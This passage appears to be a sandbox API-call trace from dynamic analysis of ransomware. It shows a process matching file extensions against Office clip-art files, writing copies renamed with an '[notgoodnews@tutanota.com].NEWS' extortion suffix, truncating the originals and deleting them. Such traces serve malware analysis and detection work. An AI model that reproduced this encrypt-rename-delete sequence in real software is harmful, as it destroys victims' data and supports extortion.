Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.332] lstrlenW (lpString=".doc") returned 4 [0264.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.332] lstrlenW (lpString=".docx") returned 5 [0264.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.333] lstrlenW (lpString=".pdf") returned 4 [0264.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.333] lstrlenW (lpString=".xls") returned 4 [0264.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.333] lstrlenW (lpString=".xlsx") returned 5 [0264.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.333] lstrlenW (lpString=".ppt") returned 4 [0264.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.333] lstrlenW (lpString=".zip") returned 4 [0264.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.334] lstrlenW (lpString=".rar") returned 4 [0264.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.334] lstrlenW (lpString=".bz2") returned 4 [0264.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.334] lstrlenW (lpString=".7z") returned 3 [0264.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.334] lstrlenW (lpString=".dbf") returned 4 [0264.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.335] lstrlenW (lpString=".1cd") returned 4 [0264.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.335] lstrlenW (lpString=".jpg") returned 4 [0264.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.336] lstrlenW (lpString=".doc") returned 4 [0264.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.336] lstrlenW (lpString=".docx") returned 5 [0264.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.336] lstrlenW (lpString=".pdf") returned 4 [0264.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.336] lstrlenW (lpString=".xls") returned 4 [0264.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.336] lstrlenW (lpString=".xlsx") returned 5 [0264.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.337] lstrlenW (lpString=".ppt") returned 4 [0264.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.337] lstrlenW (lpString=".zip") returned 4 [0264.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.337] lstrlenW (lpString=".rar") returned 4 [0264.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.337] lstrlenW (lpString=".bz2") returned 4 [0264.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.337] lstrlenW (lpString=".7z") returned 3 [0264.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.338] lstrlenW (lpString=".dbf") returned 4 [0264.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.338] lstrlenW (lpString=".1cd") returned 4 [0264.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.338] lstrlenW (lpString=".jpg") returned 4 [0264.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.339] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0264.339] lstrlenW (lpString="BL00261_.WMF") returned 12 [0264.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.885] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=12482) returned 1 [0265.885] CloseHandle (hObject=0x3a0) returned 1 [0265.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0265.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.886] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.886] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0265.887] GetLastError () returned 0x0 [0265.887] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0265.958] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0265.981] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.981] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.982] SetEndOfFile (hFile=0x3a4) returned 1 [0265.982] CloseHandle (hObject=0x3a4) returned 1 [0265.982] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.983] SetEndOfFile (hFile=0x3a0) returned 1 [0266.446] CloseHandle (hObject=0x3a0) returned 1 [0266.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0266.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0266.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.495] lstrlenW (lpString=".doc") returned 4 [0266.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.495] lstrlenW (lpString=".docx") returned 5 [0266.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.495] lstrlenW (lpString=".pdf") returned 4 [0266.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.495] lstrlenW (lpString=".xls") returned 4 [0266.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.495] lstrlenW (lpString=".xlsx") returned 5 [0266.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.495] lstrlenW (lpString=".ppt") returned 4 [0266.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.496] lstrlenW (lpString=".zip") returned 4 [0266.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.496] lstrlenW (lpString=".rar") returned 4 [0266.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.496] lstrlenW (lpString=".bz2") returned 4 [0266.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.496] lstrlenW (lpString=".7z") returned 3 [0266.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.496] lstrlenW (lpString=".dbf") returned 4 [0266.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.497] lstrlenW (lpString=".1cd") returned 4 [0266.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.497] lstrlenW (lpString=".jpg") returned 4 [0266.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.497] lstrlenW (lpString=".doc") returned 4 [0266.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.497] lstrlenW (lpString=".docx") returned 5 [0266.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.498] lstrlenW (lpString=".pdf") returned 4 [0266.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.498] lstrlenW (lpString=".xls") returned 4 [0266.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.498] lstrlenW (lpString=".xlsx") returned 5 [0266.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.498] lstrlenW (lpString=".ppt") returned 4 [0266.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.498] lstrlenW (lpString=".zip") returned 4 [0266.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.498] lstrlenW (lpString=".rar") returned 4 [0266.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.499] lstrlenW (lpString=".bz2") returned 4 [0266.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.499] lstrlenW (lpString=".7z") returned 3 [0266.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.499] lstrlenW (lpString=".dbf") returned 4 [0266.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.499] lstrlenW (lpString=".1cd") returned 4 [0266.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0266.499] lstrlenW (lpString=".jpg") returned 4 [0266.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.500] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0266.500] lstrlenW (lpString="BL00273_.WMF") returned 12 [0266.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.502] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3780) returned 1 [0266.502] CloseHandle (hObject=0x3a0) returned 1 [0266.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0266.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.504] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.504] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.505] GetLastError () returned 0x0 [0266.505] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xec4, lpOverlapped=0x0) returned 1 [0266.510] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0266.513] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.513] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.513] SetEndOfFile (hFile=0x3ac) returned 1 [0266.514] CloseHandle (hObject=0x3ac) returned 1 [0266.514] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.514] SetEndOfFile (hFile=0x3a0) returned 1 [0266.524] CloseHandle (hObject=0x3a0) returned 1 [0266.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0266.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0266.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.526] lstrlenW (lpString=".doc") returned 4 [0266.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.526] lstrlenW (lpString=".docx") returned 5 [0266.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.526] lstrlenW (lpString=".pdf") returned 4 [0266.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.526] lstrlenW (lpString=".xls") returned 4 [0266.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.526] lstrlenW (lpString=".xlsx") returned 5 [0266.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.527] lstrlenW (lpString=".ppt") returned 4 [0266.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.527] lstrlenW (lpString=".zip") returned 4 [0266.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.527] lstrlenW (lpString=".rar") returned 4 [0266.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.527] lstrlenW (lpString=".bz2") returned 4 [0266.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.527] lstrlenW (lpString=".7z") returned 3 [0266.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.528] lstrlenW (lpString=".dbf") returned 4 [0266.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.528] lstrlenW (lpString=".1cd") returned 4 [0266.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.528] lstrlenW (lpString=".jpg") returned 4 [0266.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.528] lstrlenW (lpString=".doc") returned 4 [0266.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.529] lstrlenW (lpString=".docx") returned 5 [0266.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.529] lstrlenW (lpString=".pdf") returned 4 [0266.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.529] lstrlenW (lpString=".xls") returned 4 [0266.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.529] lstrlenW (lpString=".xlsx") returned 5 [0266.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.529] lstrlenW (lpString=".ppt") returned 4 [0266.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.530] lstrlenW (lpString=".zip") returned 4 [0266.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.530] lstrlenW (lpString=".rar") returned 4 [0266.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.530] lstrlenW (lpString=".bz2") returned 4 [0266.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.530] lstrlenW (lpString=".7z") returned 3 [0266.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.530] lstrlenW (lpString=".dbf") returned 4 [0266.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.531] lstrlenW (lpString=".1cd") returned 4 [0266.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0266.531] lstrlenW (lpString=".jpg") returned 4 [0266.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.532] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0266.532] lstrlenW (lpString="BL00274_.WMF") returned 12 [0266.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.533] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4164) returned 1 [0266.533] CloseHandle (hObject=0x3a0) returned 1 [0266.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0266.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.534] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.838] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0267.836] GetLastError () returned 0x0 [0267.837] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1044, lpOverlapped=0x0) returned 1 [0267.846] WriteFile (in: hFile=0x3cc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1050, lpOverlapped=0x0) returned 1 [0267.849] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.849] WriteFile (in: hFile=0x3cc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.850] SetEndOfFile (hFile=0x3cc) returned 1 [0267.850] CloseHandle (hObject=0x3cc) returned 1 [0267.850] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.851] SetEndOfFile (hFile=0x3a0) returned 1 [0267.858] CloseHandle (hObject=0x3a0) returned 1 [0267.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0267.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0267.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0267.860] lstrlenW (lpString=".doc") returned 4 [0267.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.861] lstrlenW (lpString=".docx") returned 5 [0267.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.861] lstrlenW (lpString=".pdf") returned 4 [0267.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.861] lstrlenW (lpString=".xls") returned 4 [0267.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.861] lstrlenW (lpString=".xlsx") returned 5 [0267.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned 